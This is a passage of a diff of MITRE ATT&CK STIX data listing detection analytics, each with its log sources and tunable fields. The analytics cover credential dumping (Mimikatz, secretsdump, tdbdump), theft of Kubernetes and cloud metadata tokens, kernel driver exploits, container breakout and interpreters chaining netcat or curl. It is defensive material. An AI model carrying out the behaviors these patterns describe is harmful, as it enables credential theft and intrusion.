"external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0512#AN1416", + "external_id": "AN1416" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1416", + "description": "Detects unexpected encrypted outbound connections from management components or guest VMs using TLS, particularly after data volume spikes or script-based orchestration from within guest environments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "event stream" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "egress logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMToEgressPathWatchlist", + "description": "Expected traffic routes for monitored VMs." + }, + { + "field": "TLSClientAppIdentifier", + "description": "Applications allowed to initiate TLS sessions from hypervisor level." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--18ba26d6-08e0-4370-8ef0-b2dd73bfe0b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0513#AN1417", + "external_id": "AN1417" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1417", + "description": "Detects adversary behavior accessing Windows cached domain credential files using tools like Mimikatz, reg.exe, or PowerShell, often combined with registry exports or LSASS memory scraping.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetFilename", + "description": "Location of cached credential files may vary with OS version or custom registry hive exports." + }, + { + "field": "CommandLine", + "description": "Patterns for reg save, secretsdump, or PowerShell dumping tools may be tuned to org-specific tooling." + }, + { + "field": "TimeWindow", + "description": "Temporal correlation window between process execution and registry/file access." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--26940057-e464-49f9-8f76-ceaca4b9d982", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0513#AN1418", + "external_id": "AN1418" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1418", + "description": "Detects access to SSSD or Quest VAS cached credential databases using tdbdump or other file access patterns, requiring sudo/root access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "file" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "EXECVE" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "linux:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "filepath", + "description": "SSSD and Quest cache paths differ by deployment and OS variant." + }, + { + "field": "CommandLine", + "description": "Tunable to capture specific tools (e.g., tdbdump, cat) or scripts accessing cache files." + }, + { + "field": "TimeWindow", + "description": "Time between elevation and file access can be adjusted to account for legitimate system behavior." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b01d212c-112a-47fb-8883-78bb623ee34b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0514#AN1419", + "external_id": "AN1419" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1419", + "description": "Detects exploitation attempts targeting vulnerable kernel drivers or OS components, often followed by unusual process or token behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DriverNamePattern", + "description": "Targeted BYOVD drivers may vary based on campaign and tooling." + }, + { + "field": "TimeWindow", + "description": "Controls temporal linking of driver load \u2192 process spawn \u2192 privilege use." + }, + { + "field": "ParentProcessPath", + "description": "Parent-child relationships vary by exploitation vector (e.g., LOLBin vs. dropper)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1327b96f-73db-4a5e-8e71-e515fc030bf3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0514#AN1420", + "external_id": "AN1420" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1420", + "description": "Detects escalation via vulnerable setuid binaries or kernel modules, often chained with unusual access to /proc/kallsyms or /dev/kmem.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ACCESS" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:SYSCALL", + "channel": "dmesg" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SetUIDBinaryList", + "description": "Legitimate SUID binaries vary across distributions; false positives may arise." + }, + { + "field": "TimeWindow", + "description": "Allows chaining kernel module load with privilege spike or privilege-sensitive process activity." + }, + { + "field": "EffectiveUIDThreshold", + "description": "Default is uid=0, but environments may vary with containerized root-like accounts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0066bac9-599a-4f7b-a667-9cb1dca94347", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0514#AN1421", + "external_id": "AN1421" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1421", + "description": "Detects use of vulnerable kernel extensions or entitlements abused via setuid or AppleScript injection chains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process:exec and kext load events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_KEXTLOAD" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntitlementList", + "description": "Entitlements vary by app and OS version; some allow unexpected behavior." + }, + { + "field": "TimeWindow", + "description": "Correlate SUID execution or AppleScript injection with privilege gain or module load." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a93100f-6332-4c91-bad9-fd371d638309", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0514#AN1422", + "external_id": "AN1422" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1422", + "description": "Detects container breakout behavior via exploitation (e.g., DirtyPipe, CVE-2022-0847), followed by host OS interaction or escalated capability assignment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "auditd:SYSCALL", + "channel": "capset or setns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--91b3ed33-d1b5-4c4b-a896-76c55eb3cfd8", + "name": "containerd:runtime", + "channel": "e.g., containerd, Docker events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NamespaceEscapePattern", + "description": "May vary with CVE technique or custom syscall wrapper." + }, + { + "field": "TimeWindow", + "description": "Controls correlation of breakout \u2192 host interaction." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--78821450-c84f-498f-abf2-b43211fa4218", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0515#AN1423", + "external_id": "AN1423" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1423", + "description": "Access and retrieval of container service account tokens followed by unauthorized API requests using those tokens to interact with the Kubernetes API server or internal services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "kubernetes:audit", + "channel": "GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjust based on how quickly tokens are expected to be used post-access" + }, + { + "field": "UserContext", + "description": "Tuning for known service accounts that legitimately access the API" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--70f6482e-e93b-45a5-9b8c-ba7fd0c8220a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0515#AN1424", + "external_id": "AN1424" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1424", + "description": "Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "AWS:CloudTrail", + "channel": "GetInstanceIdentityDocument or IMDSv2 token requests" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "Use of temporary credentials issued from IMDS access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgent", + "description": "May need tuning for known automation tools versus unexpected curl usage" + }, + { + "field": "TimeWindow", + "description": "Correlate retrieval and use of token within expected timeout window" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a064fdd2-4293-4aff-a91b-e06ac8bf9262", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0515#AN1425", + "external_id": "AN1425" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1425", + "description": "Unusual OAuth app registration followed by user-granted OAuth tokens and subsequent high-privilege resource access via those tokens.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "azure:audit", + "channel": "App registrations or consent grants by abnormal users or at unusual times" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ConsentScope", + "description": "Tunable based on risky or privileged scopes in the environment" + }, + { + "field": "AppUserRatio", + "description": "Threshold of how many users have authorized a given app" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--da365d5b-c955-46f6-99c2-cd57a3560a57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0515#AN1426", + "external_id": "AN1426" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1426", + "description": "Use of OAuth tokens by third-party apps to access user mail, calendar, or SharePoint resources where the token was granted recently or via spearphishing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "m365:unified", + "channel": "App-only or delegated access patterns where client_id != known enterprise apps" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ClientAppIDAllowList", + "description": "Defenders may allow known app IDs, flag unknowns" + }, + { + "field": "AccessVolumeThreshold", + "description": "Rate of resource access by a newly consented app" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0677b819-0586-454c-9f4d-c861ccaf1b73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0515#AN1427", + "external_id": "AN1427" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1427", + "description": "Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace \u2014 especially from new IPs, apps, or excessive resource access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:googleworkspace", + "channel": "Access via OAuth credentials with unusual scopes or from anomalous IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:slack", + "channel": "OAuth token use by unknown app client_id accessing private channels or files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoVelocity", + "description": "Flag when token use appears across geographically distant logins" + }, + { + "field": "OAuthScopeSensitivity", + "description": "Weight certain scopes (admin, file.read) as higher risk" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fee823fd-f31e-4898-820e-322e49574438", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0516#AN1428", + "external_id": "AN1428" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1428", + "description": "Detects the execution of scripting or command interpreters (e.g., powershell.exe, cmd.exe, wscript.exe) outside expected administrative time windows or from abnormal user contexts, often followed by encoded/obfuscated arguments or secondary execution events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Tunable to match encoded or uncommon script execution patterns specific to the environment." + }, + { + "field": "ParentProcessName", + "description": "May vary across managed/unmanaged workstations or user-driven script activity." + }, + { + "field": "TimeWindow", + "description": "Used to restrict analysis to work hours or known admin maintenance windows." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3b02d81a-8684-4fc8-8364-127f30359282", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0516#AN1429", + "external_id": "AN1429" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1429", + "description": "Detects use of shell interpreters (e.g., bash, sh, python, perl) initiated by users or processes not normally executing them, especially when chaining suspicious utilities like netcat, curl, or ssh.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterpreterName", + "description": "Regex to identify which interpreters (bash, python, ruby) to monitor based on typical usage." + }, + { + "field": "UserContext", + "description": "Scope to users or service accounts not expected to run interpreters interactively." + }, + { + "field": "ExecutionChainLength", + "description": "Defines maximum process tree depth to correlate interpreter execution with its effects." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4a32d0e6-9486-4bbb-8807-7f913f96f448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0516#AN1430", + "external_id": "AN1430" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1430", + "description": "Detects launch of command-line interpreters via Terminal, Automator, or hidden `osascript`, especially when parent process lineage deviates from user-initiated applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'eventMessage CONTAINS \"exec\"'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchAgentName", + "description": "Monitor for specific plist agents frequently abused for persistence or payload execution." + }, + { + "field": "ScriptName", + "description": "Path or script name pattern (e.g., hidden files, /tmp locations)." + }, + { + "field": "TerminalAppUsage", + "description": "Adjust based on whether Terminal.app use is common or restricted in user policy." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--533d13df-5317-45dd-a544-c26d0192d6b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0516#AN1431", + "external_id": "AN1431" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1431", + "description": "Detects use of 'esxcli system' or direct interpreter commands (e.g., busybox shell) invoked from SSH or host terminal unexpectedly.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:vobd", + "channel": "shell session start" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShellEnabledFlag", + "description": "Control alerting based on whether ESXi shell access is typically disabled." + }, + { + "field": "SSHContext", + "description": "Scope detection to SSH session origins or internal vs. remote access." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e03886b-155c-4483-9d92-dad6a7d8543b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0516#AN1432", + "external_id": "AN1432" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1432", + "description": "Identifies CLI interpreter access (e.g., Cisco IOS, Juniper JUNOS) via `enable` mode or scripting-capable sessions used by uncommon accounts or from unknown IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "shell command" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "authentication & authorization" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserRole", + "description": "Which roles or privilege levels should be monitored for interpreter misuse." + }, + { + "field": "DeviceType", + "description": "Support filtering for routers, switches, firewalls depending on network segmentation." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aa3484d0-d7ae-40e2-8a44-6b963883a35d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0517#AN1433", + "external_id": "AN1433" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1433", + "description": "Detection focuses on unauthorized manipulation of .NET AppDomainManager behavior. Defenders may observe suspicious creation of new AppDomains within trusted processes, anomalous loading of assemblies via non-standard configuration files, or registry/environment variable changes redirecting AppDomainManager to malicious assemblies. Correlated events include config file tampering, new process creation of .NET host processes (e.g., w3wp.exe, powershell.exe) with modified runtime parameters, and module loads of unusual or unsigned .NET DLLs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": 